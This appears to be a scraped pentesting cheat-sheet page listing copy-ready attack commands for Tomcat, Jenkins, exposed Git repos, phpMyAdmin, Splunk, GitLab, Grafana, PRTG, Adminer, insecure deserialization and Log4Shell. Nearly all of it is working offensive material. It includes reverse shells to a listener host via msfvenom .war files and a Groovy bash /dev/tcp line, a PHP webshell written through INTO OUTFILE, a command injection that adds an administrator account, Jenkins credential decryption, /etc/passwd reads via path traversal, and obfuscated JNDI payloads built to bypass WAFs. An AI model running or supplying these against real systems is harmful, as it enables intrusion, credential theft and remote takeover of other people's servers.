--path=<url>YAML / Ruby Python YAML: insecure yaml.load payload (see the YAML deserialization concept) !!python/object/apply:os.system ["id"]Other runtimes: Marshal in Ruby and node-serialize in Node.js Ruby: Marshal.load with a Gem gadget | Node: use the node-serialize moduleEncode Pack the payload as it usually travels (base64 cookie) echo -n '<payload_json>' | base64 -w0 # and URL-encode for the cookieApps & CVEs Common apps (Tomcat, Jenkins, Git...) 28 commands Copy all
Tomcat Tomcat: brute-force the /manager panel (Basic Auth) hydra -L <users.txt> -P <pass.txt> -f <ip> -s 8080 http-get /manager/htmlTomcat: deploy a malicious .war and trigger it (RCE) curl -u tomcat:<pass> -T shell.war 'http://<ip>:8080/manager/text/deploy?path=/sh'; curl http://<ip>:8080/sh/Tomcat: build a reverse-shell .war with msfvenom msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f war -o shell.warJenkins Jenkins: RCE via the Groovy Script Console (admin) Groovy (/script): 'id'.execute().text # o new ProcessBuilder(['bash','-c','<cmd>']).start()Jenkins: automate the console RCE with Metasploit msfconsole -q -x 'use exploit/multi/http/jenkins_script_console; set RHOSTS <ip>; run'Decrypt Jenkins stored credentials # credentials.xml + secrets/master.key + secrets/hudson.util.Secret -> descifrar (jenkins-decrypt / Groovy)Exposed Git Dump an exposed .git and read the history (credentials, code) git-dumper http://<ip>/.git/ ./loot; cd loot && git log -pDig a recovered .git history for secrets git log --oneline --all; git show <commit>; git stash list; git diff HEAD~1RCE on Gitea/Gogs via git-hooks # Gitea/Gogs: crear un repo + git-hook (post-receive) con un comando -> RCE al hacer pushphpMyAdmin phpMyAdmin: write a webshell with INTO OUTFILE (FILE privilege) phpMyAdmin → SQL: SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php'Splunk Splunk: package a malicious app (.spl) with a scripted input tar -cvzf updater.tar.gz splunk_shell/ # bin/rev.py + default/inputs.conf [script://./bin/rev.py]Splunk: upload the app via the forwarder API (RCE) curl -k https://<ip>:8089/services/apps/local -u <user>:<pass> -X POST -F name=@updater.tar.gzGitLab GitLab: enumerate valid users (before spraying) python3 gitlab_userenum.py --url http://<ip> --wordlist <users.txt>GitLab <=13.10.2: ExifTool RCE on image upload python3 gitlab_exiftool_rce.py -t http://<ip> -u <user> -p <pass> -c '<cmd>' # CVE-2021-22205CMS Enumerate WordPress users and vulnerable plugins wpscan --url http://<ip> --enumerate u,vp,vt --api-token <token>Enumerate Drupal version and modules droopescan scan drupal -u http://<ip>Enumerate Joomla components joomscan -u http://<ip> --enumerate-componentsDeserialization (Java/.NET) Generate a Java deserialization gadget java -jar ysoserial.jar CommonsCollections5 '<cmd>' | base64Jenkins: reverse shell from the Script Console (Groovy) r=Runtime.getRuntime();r.exec(['/bin/bash','-c','bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'] as String[])Other Flask/Werkzeug: interactive debugger console → RCE (if debug=True) curl 'http://<ip>/console?__debugger__=yes&cmd=<pin>&frm=0&s=<secret>' # WerkzeugSplunk: default credentials (admin/changeme) before uploading an RCE app curl 'http://<ip>:8090/en-US/account/insecurelogin?username=admin&password=changeme' # SplunkEnumerate Grafana datasources once you have admin credentials curl -s 'http://<ip>:3000/api/datasources' -u admin:<pass> | jq # GrafanaRCE against a gdbserver exposed on the network python3 gdbserver_rce.py <ip>:<port> rev.bin # gdbserver expuesto → RCEList allowed HTTP methods (verb tampering) curl -s -X OPTIONS http://<ip>/ -iTest an IDOR by incrementing the id curl 'http://<ip>/download?id=1' ; curl 'http://<ip>/download?id=2'PRTG: command injection in notification (CVE-2018-9276) Setup > Notifications > EXECUTE PROGRAM > param: test.txt;net user <user> <pass> /add;net localgroup administrators <user> /addGrafana 8.x LFI (plugin path traversal) curl --path-as-is 'http://<ip>:3000/public/plugins/alertlist/../../../../../../../etc/passwd' # CVE-2021-43798Adminer: read server files via an attacker MySQL (LOAD DATA LOCAL) # Adminer: connect it to YOUR MySQL and use LOAD DATA LOCAL INFILE to read files off the serverLog4Shell (CVE-2021-44228) 9 commands Copy all
Detection / POC JNDI probe: if your listener gets the connection, it is vulnerable ${jndi:ldap://<lhost>/a} + sudo nc -nlvp 389Place the probe in headers and fields that end up in the log ${jndi:ldap://<lhost>/a} inyectado en User-Agent / X-Api-Version / campos de loginJNDI variants rmi (RCE) and dns (blind detection) variants ${jndi:rmi://<lhost>:1099/a} | ${jndi:dns://<lhost>/a}WAF bypass / obfuscation Obfuscate with ${lower:} to bypass signatures ${${lower:j}ndi:${lower:l}dap://<lhost>/a}Obfuscation with ${::-x} char by char ${${::-j}${::-n}${::-d}${::-i}:ldap://<lhost>/a}Obfuscate using environment variables ${jndi:${env:BARFOO:-l}dap://<lhost>/a}Exploitation LDAP+HTTP server that serves the malicious Java class python3 poc.py --userip <lhost> --webport 8080 --lport <lport> (log4j-shell-poc)Manual chain with marshalsec when not using the poc marshalsec -cp ... LDAPRefServer 'http://<lhost>:8080/#Exploit' + servir Exploit.classFire the payload and catch the reverse shell ${jndi:ldap://<lhost>:1389/a} + sudo rlwrap nc -nlvp <lport>No results